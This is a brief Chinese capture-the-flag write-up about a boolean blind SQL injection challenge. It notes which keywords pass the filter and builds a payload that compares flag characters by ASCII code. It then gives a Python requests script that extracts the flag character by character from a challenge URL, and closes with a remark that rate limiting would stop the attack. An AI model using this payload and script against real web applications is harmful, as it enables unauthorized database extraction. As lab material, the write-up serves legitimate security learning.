1,测试
思路:大概率得盲注了。
2,burp测试黑名单关键字
select、from、if、异或^
可用。
盲注构造语句:
id=(select(ascii(mid(flag,1,1))=102)from(flag))
3、使用脚本
# -*- coding = utf-8 -*-
import requests
import string
def blind_sql(url):
flag='' #接收结果
for num in range(1,60): #flag一般不超过50个字符
for i in string.printable: #string.printable将给出所有的标点符号,数字,ascii_letters和空格
payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
post = {"id":payload}
result = requests.post(url=url,data=post) #提交post请求
if 'Hello' in result.text:
flag += i #用flag接收盲注得到的结果
print(flag) #打印结果
else:
continue
print(flag)
if __name__ == '__main__':
url='http://73f759e5-bcca-4b8d-94e6-4b160c714d14.node4.buuoj.cn:81/index.php'
blind_sql(url)
思考:这里如果对访问次数加以限制就很难爆破盲注突破了。